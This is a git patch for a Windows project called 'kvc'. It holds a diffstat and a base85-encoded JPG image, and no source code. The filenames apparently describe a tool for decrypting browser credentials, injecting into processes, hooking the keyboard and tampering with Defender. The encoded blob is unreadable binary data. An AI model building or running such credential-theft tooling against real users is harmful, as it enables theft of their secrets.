From aa3dd56fe2d08a3331224f72cafa93506d7f28d3 Mon Sep 17 00:00:00 2001 From: wesmar Date: Tue, 30 Sep 2025 15:30:24 +0200 Subject: [PATCH] Aktualizacja: 2025-09-30 15:30:24 --- images/kvc_00.jpg | Bin 0 -> 165129 bytes kvc.sln | 4 + kvc/BrowserCrypto.cpp | 397 ++++++++ kvc/BrowserCrypto.h | 123 +++ kvc/BrowserOrchestrator.cpp | 1266 -------------------------- kvc/BrowserProcessManager.cpp | 207 +++++ kvc/BrowserProcessManager.h | 52 ++ kvc/CommunicationLayer.cpp | 463 ++++++++++ kvc/CommunicationLayer.h | 112 +++ kvc/CommunicationModule.cpp | 103 +++ kvc/CommunicationModule.h | 58 ++ kvc/ControllerBinaryManager.cpp | 25 - kvc/ControllerCore.cpp | 25 - kvc/ControllerDriverManager.cpp | 25 - kvc/ControllerEventLogOperations.cpp | 25 - kvc/ControllerMemoryOperations.cpp | 25 - kvc/ControllerPasswordManager.cpp | 25 - kvc/ControllerProcessOperations.cpp | 25 - kvc/ControllerSystemIntegration.cpp | 25 - kvc/CryptCore.cpp | 232 +++++ kvc/CryptCore.h | 44 + kvc/DataExtraction.cpp | 240 +++++ kvc/DataExtraction.h | 83 ++ kvc/DefenderManager.cpp | 25 - kvc/EdgeDPAPI.cpp | 74 ++ kvc/EdgeDPAPI.h | 17 + kvc/HelpSystem.cpp | 25 - kvc/InjectionEngine.cpp | 157 ++++ kvc/InjectionEngine.h | 35 + kvc/KeyboardHook.cpp | 25 - kvc/Kvc.cpp | 25 - kvc/KvcDrv.cpp | 25 - kvc/KvcXor.cpp | 660 ++++++++++++++ kvc/KvcXor.rc | Bin 0 -> 4700 bytes kvc/KvcXor.vcxproj | 95 ++ kvc/KvcXor.vcxproj.filters | 22 + kvc/KvcXor.vcxproj.user | 4 + kvc/OffsetFinder.cpp | 25 - kvc/OrchestratorCore.cpp | 446 +++++++++ kvc/OrchestratorCore.h | 41 + kvc/ProcessManager.cpp | 25 - kvc/ReportExporter.cpp | 25 - kvc/SelfLoader.cpp | 27 +- kvc/ServiceManager.cpp | 25 - kvc/TrustedInstallerIntegrator.cpp | 25 - kvc/Utils.cpp | 25 - kvc/Utils_refactor.cpp | 662 -------------- kvc/common.cpp | 25 - kvc/kvc_crypt.cpp | 933 ------------------- kvc/kvc_crypt.rc | Bin 2129 -> 4398 bytes kvc/kvc_crypt.vcxproj | 13 +- kvc/kvc_crypt.vcxproj.user | 4 + kvc/kvc_pass.vcxproj | 12 +- kvc/licznik.py | 121 +++ kvc/syscalls.cpp | 25 - 55 files changed, 3813 insertions(+), 3419 deletions(-) create mode 100644 images/kvc_00.jpg create mode 100644 kvc/BrowserCrypto.cpp create mode 100644 kvc/BrowserCrypto.h delete mode 100644 kvc/BrowserOrchestrator.cpp create mode 100644 kvc/BrowserProcessManager.cpp create mode 100644 kvc/BrowserProcessManager.h create mode 100644 kvc/CommunicationLayer.cpp create mode 100644 kvc/CommunicationLayer.h create mode 100644 kvc/CommunicationModule.cpp create mode 100644 kvc/CommunicationModule.h create mode 100644 kvc/CryptCore.cpp create mode 100644 kvc/CryptCore.h create mode 100644 kvc/DataExtraction.cpp create mode 100644 kvc/DataExtraction.h create mode 100644 kvc/EdgeDPAPI.cpp create mode 100644 kvc/EdgeDPAPI.h create mode 100644 kvc/InjectionEngine.cpp create mode 100644 kvc/InjectionEngine.h create mode 100644 kvc/KvcXor.cpp create mode 100644 kvc/KvcXor.rc create mode 100644 kvc/KvcXor.vcxproj create mode 100644 kvc/KvcXor.vcxproj.filters create mode 100644 kvc/KvcXor.vcxproj.user create mode 100644 kvc/OrchestratorCore.cpp create mode 100644 kvc/OrchestratorCore.h delete mode 100644 kvc/Utils_refactor.cpp delete mode 100644 kvc/kvc_crypt.cpp create mode 100644 kvc/kvc_crypt.vcxproj.user create mode 100644 kvc/licznik.py diff --git a/images/kvc_00.jpg b/images/kvc_00.jpg new file mode 100644 index 0000000000000000000000000000000000000000..b0e931e3ffa7d6bec4bc9eb5d2007d26c13665dc GIT binary patch literal 165129 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 